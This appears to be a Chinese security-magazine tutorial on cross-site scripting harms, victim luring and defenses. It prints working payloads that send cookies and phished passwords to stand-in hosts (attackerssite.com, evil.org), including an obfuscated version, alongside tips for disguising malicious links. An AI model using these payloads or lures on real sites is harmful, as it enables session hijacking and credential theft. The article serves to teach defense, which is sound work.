跨站腳本攻擊深入解析:跨站危害及cookie盜竊
原創(chuàng)【51CTO.COM 獨(dú)家特稿,轉(zhuǎn)載請(qǐng)注明出處及作者】跨站腳本的名稱源自于這樣一個(gè)事實(shí),即一個(gè)Web 站點(diǎn)(或者人)可以把他們的選擇的代碼越過(guò)安全邊界線注射到另一個(gè)不同的、有漏洞的Web 站點(diǎn)中。當(dāng)這些注入的代碼作為目標(biāo)站點(diǎn)的代碼在受害者的瀏覽器中執(zhí)行時(shí),攻擊者就能竊取相應(yīng)的敏感數(shù)據(jù),并強(qiáng)迫用戶做一些用戶非本意的事情。
在本文的上篇中,我們?cè)敿?xì)介紹了跨站腳本漏洞利用的過(guò)程,并對(duì)HTML注入進(jìn)行深入分析;而本文將詳細(xì)介紹跨站腳本的危害,以及攻擊者是如何誘騙受害者的;最后介紹針對(duì)跨站腳本攻擊的防御措施。
一、跨站腳本的危害
XSS是一種對(duì)Web應(yīng)用程序的用戶發(fā)動(dòng)的攻擊,利用它攻擊者能裝扮成被攻擊的用戶來(lái)完全控制Web應(yīng)用程序,即便Web應(yīng)用程序位于一個(gè)防火墻之后并且攻擊者無(wú)法直接接觸該Web應(yīng)用程序也是如此。XSS一般不會(huì)對(duì)用戶的機(jī)器造成損害,也不會(huì)對(duì)Web應(yīng)用程序服務(wù)器直接造成破壞。如果成功,攻擊者可以做三種事情:
竊取Cookie
在受害用戶面前假冒成Web應(yīng)用程序
在Web應(yīng)用程序面前假冒成受害用戶
二、竊取Cookie
Cookie一般控制著對(duì)Web應(yīng)用程序的訪問(wèn),如果攻擊者偷竊了受害用戶的Cookie,那么攻擊者就可以使用受害者的Cookie來(lái)完全控制受害者的帳戶。對(duì)于Cookie來(lái)說(shuō),其最佳實(shí)踐就是讓它在一段時(shí)間后過(guò)期,這樣的話攻擊者就只能在有限的時(shí)間內(nèi)訪問(wèn)受害者的帳戶??梢岳孟旅娴拇a來(lái)竊取Cookie:
var x=new Image();x.src='http://attackerssite.com/eatMoreCookies?c='
+document.cookie;
或者像下面這樣:
document.write("〈 img src='http://attackerssite.com/eatMoreCookies"+
"?c="+document.cookie+"'〉");
如果某些字符是禁止的,則將其轉(zhuǎn)換為ASCII的十進(jìn)制數(shù),然后使用JavaScript的String.charFromCode()函數(shù)即可。下列JavaScript等價(jià)于前面的JavaScript:
eval(String.charFromCode(118,97,114,32,120,61,110,101,119,32,73,109,
97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,
97,116,116,97,99,107,101,114,115,115,105,116,101,46,99,111,109,47,
101,97,116,77,111,114,101,67,111,111,107,105,101,115,63,99,61,39,43,
100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59));
三、釣魚攻擊
通過(guò)假冒Web應(yīng)用程序,攻擊者可以將XSS用于社會(huì)工程。XSS攻擊得手后,攻擊者能夠完全控制Web應(yīng)用程序的外觀。這可用于丑化web,例如攻擊者在頁(yè)面上放置一個(gè)無(wú)聊的圖片。適于打印的常見(jiàn)圖像之一是Stall0wn3d,即你被黑了。
下面是用于這種攻擊的HTML注入字符串:
〈script〉document.body.innerHTML="〈img
src=http://evil.org/stallown3d.jpg〉";〈/script〉.
然而,控制Web應(yīng)用程序呈現(xiàn)在受害用戶面前的外觀比簡(jiǎn)單顯示一些火辣熱圖更為有利,攻擊者可以以此發(fā)動(dòng)釣魚攻擊:強(qiáng)制用戶向攻擊者提供機(jī)密信息。利用document.body.innerHTML,可以提供一個(gè)跟有弱點(diǎn)的Web應(yīng)用程序的登錄頁(yè)面外觀完全一樣的登錄頁(yè)面,并且該登錄頁(yè)面來(lái)自那個(gè)被注入HTML的域,但是提交表單時(shí),數(shù)據(jù)卻發(fā)往攻擊者選擇的站點(diǎn)。
因此,當(dāng)受害用戶輸入他的或者她的用戶名和口令時(shí),這些信息就會(huì)落入攻擊者手中。代碼如下所示:
document.body.innerHTML="〈 h1 〉Company Login〈 / h1〉〈form
action=http://evil.org/grabPasswords method=get〉
〈p〉User name:〈input type=text name=u〉〈p〉Password〈input type=password
name=p〉〈input type=submit name=login〉〈/form〉";
使用這段代碼的一個(gè)小技巧是通過(guò)一個(gè)GET請(qǐng)求發(fā)送表單。這樣,攻擊者甚至不必編寫grabPasswords頁(yè)面,因?yàn)樵撜?qǐng)求將寫到Web服務(wù)器的錯(cuò)誤信息日志里,這里的信息可以輕松讀取。
四、冒充受害者胡作非為
XSS對(duì)Web應(yīng)用程序最大的影響在于,黑客能夠通過(guò)它假冒成Web應(yīng)用程序的合法用戶。下面是一些攻擊者能夠?qū)eb應(yīng)用程序做的一些事情:
在一個(gè)webmail應(yīng)用程序中,攻擊者可以:
以用戶的名義發(fā)送電子郵件
獲取用戶的聯(lián)系人名單
更改自動(dòng)BCC屬性
更改隱私/日志記錄設(shè)置
在基于 Web 的即時(shí)通訊或聊天軟件中,攻擊者可以:
獲取聯(lián)系人名單
向聯(lián)系人發(fā)送消息
添加/刪除聯(lián)系人
在一個(gè)基于 Web 的網(wǎng)絡(luò)銀行或金融系統(tǒng)中,攻擊者能夠:
劃拔資金
申請(qǐng)信用卡
更改地址
在電子商務(wù)系統(tǒng)上,攻擊者能夠:
購(gòu)買商品
每當(dāng)分析XSS對(duì)站點(diǎn)的影響時(shí),想一想如果他控制了受害者的鼠標(biāo)和鍵盤能干什么就行了??紤]一下受害者的內(nèi)部網(wǎng)中的受害者的計(jì)算機(jī)能做哪些壞事。要想假冒成用戶,攻擊者需要弄清Web應(yīng)用程序是如何工作的。有時(shí)候,可以通過(guò)閱讀頁(yè)面源代碼來(lái)達(dá)此目的,但是最好的方法是使用一個(gè)Web代理,例如Burp Suite、WebScarab或者Paros Proxy等。
這些web 代理會(huì)攔截往返于Web 瀏覽器和Web服務(wù)器之間的所有通信數(shù)據(jù),甚至包括通過(guò)HTTPS傳輸?shù)牧髁?。您可以記錄這些會(huì)話以弄明白Web應(yīng)用程序是向服務(wù)器發(fā)送回?cái)?shù)據(jù)的。 這對(duì)于弄清楚如何假冒成該應(yīng)用程序非常有幫助,此外,web 代理對(duì)于發(fā)現(xiàn)XSS及其他Web應(yīng)用程序漏洞也有極大的幫助。#p#
五、XSS蠕蟲
一直在線的Web應(yīng)用程序,諸如webmail、社交網(wǎng)絡(luò)、聊天室、在線多人游戲、在線賭場(chǎng)或者一切需要用戶交互以及需要在用戶間相互發(fā)送某種形式信息的Web應(yīng)用程序,都容易受到XSS蠕蟲的攻擊。XSS蠕蟲充分地利用了Web應(yīng)用程序的特性來(lái)自我傳播。例如,Webmail應(yīng)用中的XSS蠕蟲利用了攻擊者能夠捕獲受害者的聯(lián)系人名單與發(fā)送電子郵件的事實(shí)。
當(dāng)受害者點(diǎn)擊了指向HTML注入的鏈接時(shí),XSS就會(huì)被激活,由此觸發(fā)腳本的執(zhí)行。 腳本將搜索受害者的聯(lián)系人名單,然后發(fā)送電子郵件到受害者的聯(lián)系人名單中的每個(gè)聯(lián)系人。每個(gè)聯(lián)系人將收到一封來(lái)自有信譽(yù)的發(fā)件人(受害者)的電子郵件,該郵件會(huì)邀請(qǐng)聯(lián)系人單擊一些鏈接。一旦他單擊了該鏈接,這個(gè)聯(lián)系人就會(huì)變成了另一個(gè)受害者,然后他的聯(lián)系人也會(huì)收到他的來(lái)信。
XSS蠕蟲以極快的速度繁衍,能夠在短期內(nèi)感染許多用戶,并引起大量的網(wǎng)絡(luò)流量。對(duì)于傳播其它攻擊諸如釣魚攻擊等,非常有效。更為有趣的是,攻擊者有時(shí)候會(huì)向Web應(yīng)用程序添加隱藏的HTML 內(nèi)容以便對(duì)瀏覽器發(fā)動(dòng)多種攻擊。如果用戶運(yùn)行的Web 瀏覽器不是最新的,攻擊者就能夠完全控制用戶的機(jī)器。本例中,XSS用來(lái)傳遞某些其他弱點(diǎn)。
上面部分介紹了跨站腳本的危害,下面介紹攻擊者是如何誘騙受害者的。
六、誘捕受害者
現(xiàn)在,我們已經(jīng)知道如何尋找HTML注入點(diǎn),以及如果攻擊者能夠使用戶單擊指向注入的HTML的鏈接的話,他能夠做哪些事情。有時(shí)候,注入的HTML會(huì)在正常的用戶交互過(guò)程中被激活。也就是說(shuō),有許多有效的方法。然而,通常情況下攻擊者必須使用戶單擊了指向注入的HTML代碼的鏈接才能激活攻擊過(guò)程。本節(jié)簡(jiǎn)要討論如何促使受害者去單擊一個(gè)鏈接。
現(xiàn)在假設(shè)您就是攻擊者。如果您發(fā)現(xiàn)可以在http://search.engine.com/search?p= 注入HTML,并且在http://evil.org/e.js處設(shè)計(jì)了一個(gè)惡意的腳本。 現(xiàn)在,你只要設(shè)法讓人們點(diǎn)擊下列鏈接就行了:
http://search.engine.com/search?p=
但是,究竟會(huì)有多少人會(huì)點(diǎn)擊上述的鏈接呢?對(duì)電腦知識(shí)稍有了解的用戶一眼就能看出點(diǎn)擊上述鏈接肯定不會(huì)有好事。因此,攻擊者需要給這個(gè)鏈接化化妝,然后引誘用戶單擊一些更誘人的東西。
七、隱蔽指向注入的HTML的鏈接
可以用不同的方法來(lái)隱蔽鏈接,例如通過(guò)anchor標(biāo)簽、使用URL縮短技術(shù)站點(diǎn)、博客以及為攻擊者所控制的網(wǎng)站等。
第一個(gè)建議十分簡(jiǎn)單,大多數(shù)Web應(yīng)用程序會(huì)自動(dòng)在URL周圍封裝上錨標(biāo)簽以便于用戶跟隨鏈接。如果攻擊者可以寫入他自己的超鏈接,諸如在一個(gè)webmail應(yīng)用程序中,那么攻擊者就能夠構(gòu)造一個(gè)如下所示的鏈接:
http://goodsite.com/cuteKittens.jpg
這個(gè)鏈接會(huì)作為http://goodsite.com/cuteKittens.jpg出現(xiàn),然而,當(dāng)受害者點(diǎn)擊這個(gè)鏈接時(shí),將被帶至注入的HTML(即實(shí)際上點(diǎn)擊的是攻擊者注入的HTML)。
用于縮短URL的Web應(yīng)用程序,諸如TinyURL、YATUC、ipulink.com、get-shorty.com(以及所有實(shí)現(xiàn)get-shorty功能的網(wǎng)站)等等,都能把冗長(zhǎng)的URL轉(zhuǎn)換成簡(jiǎn)短的URL。這些站點(diǎn)都是通過(guò)將URL映射到一個(gè)較短的URL,而較短的URL又重定向到一個(gè)長(zhǎng)URL來(lái)實(shí)現(xiàn)的。
由于使用了較短的URL把冗長(zhǎng)的URL隱藏了起來(lái),這樣就更容易獲取人們(甚至一些老道的計(jì)算機(jī)用戶)的信任,從而單擊惡意鏈接,例如,對(duì)于下面這個(gè)容易露餡的HTML注入:
http://search.engine.com/search?p=
我們可以把它映射成一個(gè)單獨(dú)的URL,如下所示:
http://tinyurl.com/2optv9
目前,就算是警惕性很高的計(jì)算機(jī)用戶也很少有人知道類似的TinyURL的提供URL縮短服務(wù)的站點(diǎn)。這樣,我們可以通過(guò)不太流行的提供URL縮短技術(shù)的Web應(yīng)用程序獲取更多有經(jīng)驗(yàn)的計(jì)算機(jī)用戶的信任,從而使他們?nèi)ズ翢o(wú)疑慮的點(diǎn)擊我們的鏈接;此外,我們也可以創(chuàng)建自己的web頁(yè)面,并在其中放入下列內(nèi)容:
注意,document.location的字符串中的標(biāo)簽在上述JavaScript被執(zhí)行之前是作為HTML出現(xiàn)的。對(duì)于POST方式的HTML注入,您可以編寫下面的代碼:
〈html〉
〈body〉
〈!-- something distracting like a cute kitten --〉
〈img src=cuteKitten.jpg〉
〈!-- and some HTML injection --〉
〈form action="name="evilForm"〉
〈input type="hidden" name="p" value="〈script〉a_lert(1)〈/script〉"〉
〈/form〉
〈script〉
document.evilForm.submit()
〈/script〉
〈/body〉
〈/html〉
現(xiàn)在,把上述代碼放到您自己的Web站點(diǎn)或者blog中——如果沒(méi)有的話,現(xiàn)在有許多免費(fèi)的Web站點(diǎn)以及blog托管站點(diǎn)可用。
一種不錯(cuò)的隱蔽技術(shù)是濫用IE的MIME類型不匹配問(wèn)題。例如,創(chuàng)建一個(gè)文本文件,將其命名為cuteKitten.jpg,然后放入下列內(nèi)容:
〈iframe style="display:none"
src="〈img src="someCuteKitten.jpg"〉
上載cuteKitten.jpg,例如放到http://somwhere.com/cuteKitten.jpg。當(dāng)用戶點(diǎn)擊該鏈接時(shí),IE會(huì)認(rèn)出cuteKitten.jpg根本就不是一張圖像,所以它繼而將其作為HTML進(jìn)行解釋。這樣在顯示圖像someCuteKitten.jpg的時(shí)候?qū)嶋H上會(huì)在后臺(tái)利用一個(gè)注入的HTML代碼。
最后,攻擊者只要注冊(cè)一個(gè)聽(tīng)起來(lái)很正規(guī)的域名并且將該html注入寄放在該域名中即可。例如,googlesecured.com就是一個(gè)看上去很真可信的域名。
八、促使用戶單擊注入的HTML代碼
利用“免費(fèi)色情圖片”以及“偉哥甩賣”來(lái)引誘別人已經(jīng)成為過(guò)去,現(xiàn)在,攻擊者通常會(huì)促使用戶去做一些普通大眾經(jīng)常做的事情,諸如單擊一個(gè)新聞鏈接、欣賞一副可愛(ài)的小貓的圖片等等,當(dāng)然使用的方法在前面我們已經(jīng)說(shuō)過(guò)了。
例如,快到情人節(jié)了,大多數(shù)年輕人都希望給愛(ài)人一個(gè)驚喜。攻擊者就會(huì)考慮利用“閱讀本文以了解如何您的愛(ài)人一個(gè)與眾不同的情人節(jié)”之類的文字來(lái)誘惑用戶單擊鏈接。借助于XSS蠕蟲,如果人們看到這封郵件來(lái)自其好友的話,那么人們會(huì)毫不猶豫地點(diǎn)擊它。
然而,攻擊者放入的文字越多,越容易引起潛在受害者的疑慮?,F(xiàn)今,最有效的信件應(yīng)當(dāng)只發(fā)給潛在的受害者一個(gè)鏈接,而根本不附加任何文字。好奇是人類的本性,在這種強(qiáng)烈的本能的驅(qū)使下,點(diǎn)擊該鏈接將大有人在。
至此,攻擊手法的介紹已經(jīng)告一段落,下面開(kāi)始簡(jiǎn)要介紹針對(duì)跨站腳本攻擊的防御措施。
九、防御跨站點(diǎn)腳本攻擊
為了防御XSS攻擊,開(kāi)發(fā)人員必須謹(jǐn)慎處理由用戶提供的并且又反過(guò)來(lái)提供給用戶的那些數(shù)據(jù)。這里所說(shuō)的“用戶提供的數(shù)據(jù)”應(yīng)該定義為所有從外部網(wǎng)絡(luò)連接發(fā)送給Web應(yīng)用程序的那些數(shù)據(jù)。
它可以是登錄時(shí)用HTML表單提交的用戶名,一個(gè)后臺(tái)的Ajax請(qǐng)求、一封電子郵件、乃至http報(bào)頭。要把所有這些數(shù)據(jù)都看作是從外部網(wǎng)絡(luò)連接進(jìn)入Web應(yīng)用程序的有潛在危險(xiǎn)的數(shù)據(jù)。
對(duì)于所有由用戶提供的隨后又通過(guò)HTTP應(yīng)答(諸如Web頁(yè)面以及AJAX響應(yīng)(HTTP響應(yīng)碼200)、頁(yè)面未找到錯(cuò)誤(HTTP響應(yīng)碼404)、服務(wù)器錯(cuò)誤(類似的HTTP 響應(yīng)碼502)、重定向(例如HTTP 響應(yīng)碼302,等等)回顯給用戶的那些數(shù)據(jù),開(kāi)發(fā)人員必須采取下列措施之一:
對(duì)數(shù)據(jù)進(jìn)行正確地轉(zhuǎn)義處理,以保證它們不會(huì)被解釋為HTML代碼(對(duì)瀏覽器而言)或者XML代碼(對(duì)Flash而言)。
刪除會(huì)被惡意使用的字符串或者字符
一般情況下,刪除一些字符會(huì)對(duì)用戶體驗(yàn)造成影響,舉例來(lái)說(shuō),如果開(kāi)發(fā)人員刪除了上撇號(hào)(’),那么對(duì)某些人來(lái)說(shuō)就會(huì)帶來(lái)不便,如姓氏中帶有撇號(hào)的人,他們的姓氏就無(wú)法正常顯示。同時(shí),嚴(yán)禁開(kāi)發(fā)人員刪除字符串,因?yàn)橥耆梢酝ㄟ^(guò)許多不同的形式來(lái)表示字符串。應(yīng)用程序和瀏覽器會(huì)對(duì)字符串作出不同的解釋。例如,SAMY蠕蟲利用了IE不把換行符作為定界符字符這一事實(shí),因此,IE看來(lái)JavaScript和jav%0dascr%0dipt是一回事。遺憾的是,MySpace把換行符解釋為字的分界符號(hào),并允許將向Samy(及其他人)的MySpace頁(yè)面中放入下列內(nèi)容:
〈 div id="mycode" expr="a_lert('1')" style="background:url('java
script:eval(document.all.mycode.expr)')"〉〈/div〉
我們建議對(duì)所有用戶提供的又被發(fā)回給Web瀏覽器的數(shù)據(jù)都進(jìn)行轉(zhuǎn)義處理,包括AJAX調(diào)用、移動(dòng)式應(yīng)用、Web頁(yè)面、重定向等等內(nèi)的數(shù)據(jù)。然而,對(duì)字符串進(jìn)行轉(zhuǎn)義處理并不是我們想得那么簡(jiǎn)單:您必須根據(jù)用戶提供的數(shù)據(jù)將被放到HTTP應(yīng)答中的具體位置來(lái)決定使用URL編碼、HTML實(shí)體編碼或者JavaScript編碼進(jìn)行轉(zhuǎn)義。
十、防范基于UTF-7的XSS
基于UTF-7的攻擊是很容易防范的,只要強(qiáng)制指定在HTTP報(bào)頭中的或者HTML響應(yīng)內(nèi)部的字符編碼即可。我們建議對(duì)默認(rèn)HTTP報(bào)頭做如下設(shè)置:
Content-Type: text ml; charset=utf-8
還應(yīng)當(dāng)對(duì)全部HTML響應(yīng)添加下列限制:
< meta http-equiv="Content-Type" content="text ml;charset=utf-8" >
十一、結(jié)束語(yǔ)
在瀏覽器中已經(jīng)建立了一些安全措施——即同源策略和Cookie安全模型。此外,一些瀏覽器插件,諸如Flash Player、Outlook Express 以及Acrobat Reader等,帶來(lái)了更多的安全問(wèn)題和安全措施。然而,如果攻擊者可以強(qiáng)迫用戶執(zhí)行源自特定域的JavaScript的話,這些額外的安全措施總是傾向于削弱同源策略的力量。
跨站點(diǎn)腳本攻擊(XSS)技術(shù)能夠強(qiáng)迫用戶執(zhí)行攻擊者以受害者名義在某個(gè)域上選擇的腳本,如JavaScript、VBScript、ActionScript,等等。XSS要求某個(gè)域上的Web應(yīng)用程序能夠提供(即供應(yīng)、返回)被攻擊者所控制的字符。因此,攻擊者可以向頁(yè)面注入代碼,而這些代碼將來(lái)會(huì)在這個(gè)有弱點(diǎn)的域的上下文中執(zhí)行。本文詳細(xì)介紹跨站腳本的危害,以及攻擊者是如何誘騙受害者的。最后介紹針對(duì)跨站腳本攻擊的防御措施。至此,讀者已經(jīng)能夠?qū)缯灸_本攻擊有一個(gè)全面深入的了解了。